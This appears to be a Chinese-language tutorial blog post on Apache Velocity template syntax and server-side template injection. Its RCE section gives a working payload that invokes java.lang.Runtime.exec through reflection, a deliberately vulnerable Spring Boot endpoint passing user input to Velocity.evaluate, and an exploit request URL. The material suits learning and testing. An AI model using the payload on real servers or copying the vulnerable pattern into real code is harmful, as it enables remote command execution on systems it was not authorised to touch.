Velocity SSTI
Apache Velocity是一个基于Java的模板引擎,它提供了一个模板语言去引用由Java代码定义的对象。Velocity是Apache基金会旗下的一个开源软件项目,旨在确保Web应用程序在表示层和业务逻辑层之间的隔离(即MVC设计模式)。
添加pom.xml
依赖:
1 2 3 4 5 6
| <!-- https://mvnrepository.com/artifact/org.apache.velocity/velocity --> <dependency> <groupId>org.apache.velocity</groupId> <artifactId>velocity</artifactId> <version>1.7</version> </dependency>
|
基本语法
语句标识符
#
用来标识Velocity的脚本语句,包括#set
、#if
、#else
、#end
、#foreach
、#end
、#include
、#parse
、#macro
等语句。
变量
1
| $`用来标识一个变量,比如模板文件中为`Hello $a`,可以获取通过上下文传递的`$a
|
声明
set
用于声明Velocity脚本变量,变量可以在脚本中声明
1 2 3
| #set($a ="velocity") #set($b=1) #set($arrayName=["1","2"])
|
注释
单行注释为##
,多行注释为成对出现的#* ............. *#
逻辑运算
条件语句
以if/else
为例:
1 2 3 4 5 6 7 8 9
| #if($foo<10) <strong>1</strong> #elseif($foo==10) <strong>2</strong> #elseif($bar==6) <strong>3</strong> #else <strong>4</strong> #end
|
单双引号
单引号不解析引用内容,双引号解析引用内容,与PHP有几分相似
1 2 3
| #set ($var="aaaaa") '$var' ## 结果为:$var "$var" ## 结果为:aaaaa
|
属性
通过.
操作符使用变量的内容,比如获取并调用getClass()
1 2
| #set($e="e") $e.getClass()
|
转义字符
如果$a
已经被定义,但是又需要原样输出$a
,可以试用\
转义作为关键的$
基础使用
使用Velocity主要流程为:
- 初始化Velocity模板引擎,包括模板路径、加载类型等
- 创建用于存储预传递到模板文件的数据的上下文
- 选择具体的模板文件,传递数据完成渲染
VelocityTest.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package Velocity;
import org.apache.velocity.Template; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.VelocityEngine;
import java.io.StringWriter;
public class VelocityTest { public static void main(String[] args) {
VelocityEngine velocityEngine = new VelocityEngine(); velocityEngine.setProperty(VelocityEngine.RESOURCE_LOADER, "file"); velocityEngine.setProperty(VelocityEngine.FILE_RESOURCE_LOADER_PATH, "src/test/resources"); velocityEngine.init();
VelocityContext context = new VelocityContext(); context.put("name", "ycxlo"); context.put("project", "Velocity");
Template template = velocityEngine.getTemplate("VelocityTest.vm"); StringWriter sw = new StringWriter(); template.merge(context, sw); System.out.println("final output:" + sw); } }
|
模板文件VelocityTest.vm
1 2 3
| Hello World! The first velocity demo. Name is $name. Project is $project
|
输出结果
RCE
修改模板内容为恶意代码,通过java.lang.Runtime
进行命令执行
1 2
| #set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
|
首先构建一个漏洞代码服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| package Velocity;
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.apache.velocity.VelocityContext; import org.apache.velocity.app.Velocity; import java.io.StringWriter;
@Controller class hhh { @GetMapping("/ssti") public void velocity(String template) { Velocity.init(); VelocityContext context = new VelocityContext(); context.put("name", "lisi"); StringWriter swOut = new StringWriter(); Velocity.evaluate(context, swOut, "test", template); } } @SpringBootApplication public class exp {
public static void main(String[] args) { SpringApplication.run(exp.class, args); } }
|
1 2 3 4 5 6 7 8 9 10 11
| Velocity.evaluate方法是Velocity模板引擎提供的一个核心方法,用于执行模板的渲染。它接受以下参数:
VelocityContext context:表示Velocity的上下文对象,用于传递模板中需要的数据。在这个上下文对象中,可以使用put方法添加变量供模板使用。
Writer writer:表示一个输出流对象,用于接收模板渲染后的结果。通常使用StringWriter或BufferedWriter等类的实例作为输出流。在示例中,使用的是StringWriter对象,将渲染结果输出到字符串中。
String logTag:表示日志标签,用于在日志中标识该次渲染操作。通常用于调试和日志记录目的。
String template:表示Velocity模板的内容,通常是一个包含Velocity语法的字符串。可以是硬编码的字符串,也可以是从外部获取的动态字符串。
在Velocity.evaluate方法的执行过程中,Velocity会根据模板中的语法和上下文中的数据进行替换和计算,最终将渲染结果输出到提供的Writer对象中。
|
启动服务后访问127.0.0.1:8080/ssti?template=%23set($e=”e”);$e.getClass().forName(“java.lang.Runtime”).getMethod(“getRuntime”,null).invoke(null,null).exec(“calc”)
注意需要将#进行编码
底层原理有点复杂,等以后有能力再来看看